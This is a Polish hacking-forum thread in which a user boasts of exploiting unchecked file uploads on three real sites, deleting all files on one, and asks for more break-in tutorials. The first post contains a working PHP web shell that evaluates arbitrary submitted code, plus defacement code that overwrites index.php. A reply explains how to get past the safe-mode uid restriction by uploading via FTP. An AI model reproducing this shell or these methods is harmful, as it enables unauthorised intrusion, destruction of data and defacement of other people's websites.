Pokaż wyniki 1 do 3 z 3

Temat: Upload

  1. #1
    Zarejestrowany
    Jun 2007
    Postów
    27

    Domyślnie Upload

    Witam w dzisiejszym dniu na pewnych forach znalazlem linki do 3 uploadow i wszystkie z nich mialy ten sa blad czyli nie sprawdzaly rozszerzenia i mozna bylo dac plik php wiec probowalem dac Owned na pierszym dalem rade na drugim dalem dare skasoac wszystkie katalogi i pliki jednak teraz mam problem osoba ktora miala upload gdzie skasowalem wszystkie pliki przeniosla go na inny server jednak blad dalej jest tylko ze nie mozna nic zrobic(przynajmniej ja nie umiem) w sensie takim ze dajac shell'a nic nie potrafie zrobic a dajac taki prosciutki kod
    Kod php:
    <?php
    echo('<html>
    <head><meta http-equiv="content-type" charset="utf-8" />
    </head>
    <body>
    <form method="post" action="'
    .$_SERVER['PHP_SELF'].'"
    <textarea name="code" rows="10" cols="50"></textarea>
    <Br>
    <input type="submit" name="wykonaj" value="Wykonaj"> <input type="submit" name="niszcz" value="Niszcz">
    </form><body></html>'
    );
    if(isset(
    $_POST['wykonaj'])) {
    echo(
    $_POST['code'].'<Br>');
    $code stripslashes($_POST['code']);
    echo(
    $code.'<Br>');
    $a = eval($code);
    echo(
    $a);
    }

    if(isset(
    $_POST['niszcz'])) unlink($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF']);
    ?>
    I powiedzmy chce podmienic strone glowna lub kontakty.html bo na 100% wiem ze taka jest nazwa wiec robie:
    Kod php:
    $fp fopen("../../../../index.php""w");
    fwrite($fp"<h1>Owned :) pozdro</h1>");
    fclose($fp); 
    Dostaje blad: wiec zmieniam katalog na ten z bledy(napewno dobry) czyli taki
    /home/freequ/domains/freequ.hostil.pl/public_html/kontakt.html
    i mam bledy
    Kod php:
    Warningfopen() [function.fopen]: SAFE MODE Restriction in effectThe script whose uid is 48 is not allowed to access /home/freequ/domains/freequ.hostil.pl/public_html/kontakt.html owned by uid 1247 in /home/freequ/domains/freequ.hostil.pl/public_html/hosting/katalog/c.php(18) : eval()'d code on line 1

    Warning: fopen(/home/freequ/domains/freequ.hostil.pl/public_html/kontakt.html) [function.fopen]: failed to open stream: Success in /home/freequ/domains/freequ.hostil.pl/public_html/hosting/katalog/c.php(18) : eval()'
    d code on line 1

    Warning
    fwrite(): supplied argument is not a valid stream resource in /home/freequ/domains/freequ.hostil.pl/public_html/hosting/katalog/c.php(18) : eval()'d code on line 2

    Warning: fclose(): supplied argument is not a valid stream resource in /home/freequ/domains/freequ.hostil.pl/public_html/hosting/katalog/c.php(18) : eval()'
    d code on line 3 
    Czyli jak widac zmieniajac hosting dana osoba nie wiedzac o tym uchronila sie bo na wczesniejszym takie rzeczy dzialaly co moge zrobic
    Znacie jakies art/tutoriale/filmy etc jak sie wlamywac na upload?

  2. #2
    Zarejestrowany
    Nov 2007
    Postów
    132

    Domyślnie

    'friiiiiiiiiik'
    Dlaczego wszystkie piosenki są o sexie ,miłości
    i innym pozytywnym gównie
    Nie mogły by być o czystym bólu ,nienawiści i frustracji i innych prawdach których więcej niż mniej ? ......... Ten świat to plastikowe ,fałszywe gówno
    nie mające nic wspólengo z moją rzeczywistością.
    Mtv to nie mój świat
    (tak jestem nie dojrzały ,mam kompelksy ..... i wiecie co? i chuj)

  3. #3
    Zarejestrowany
    Mar 2008
    Postów
    14

    Talking

    nie wiem co tu jest niezrozumiale po samej tresci bledu jasno wynika o co chodzi
    Kod:
    Warning: fopen() [function.fopen]: SAFE MODE Restriction in effect. The script whose uid is 48 is not allowed to access /home/freequ/domains/freequ.hostil.pl/public_html/kontakt.html owned by uid 1247 in /home/freequ/domains/freequ.hostil.pl/public_html/hosting/katalog/c.php(18)
    problem polega na tym ze po pierwsze wlaczone jest safe mode ale glownym problemem jest uid pliku do ktorego chcesz miec dostep otoz plk ktory wrzucasz przez ten upload dostaje inny uid niz ten ktory ma plik kontakty.html chodzi o to ze jak zapewne wiesz w linuxie kazdy uzytkownik ma swoj uid (numer identyfikacyjny uzytkownika) i teraz tak w momencie gdy masz wlaczone safe mode serwer sprawdza czy uid wrzuconego pliku zgadza sie z tym do ktorego chcesz miec dostep a jak widac nie zgadza sie i dlatego wywala blad jak to rozwiazac? wrzucic plik przez ftp wtedy dostanie on odpowiednie uid mam nadzieje ze cos pomoglem
    Pozdor

Podobne wątki

  1. Upload bez wiedzy użytkownika?
    By eMCe in forum PHP/CGI/ASP/JSP/J2EE
    Odpowiedzi: 3
    Autor: 11-14-2007, 00:04
  2. Joomla Upload RFİ
    By YanlizTurk in forum Hacking
    Odpowiedzi: 4
    Autor: 07-29-2007, 23:50

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52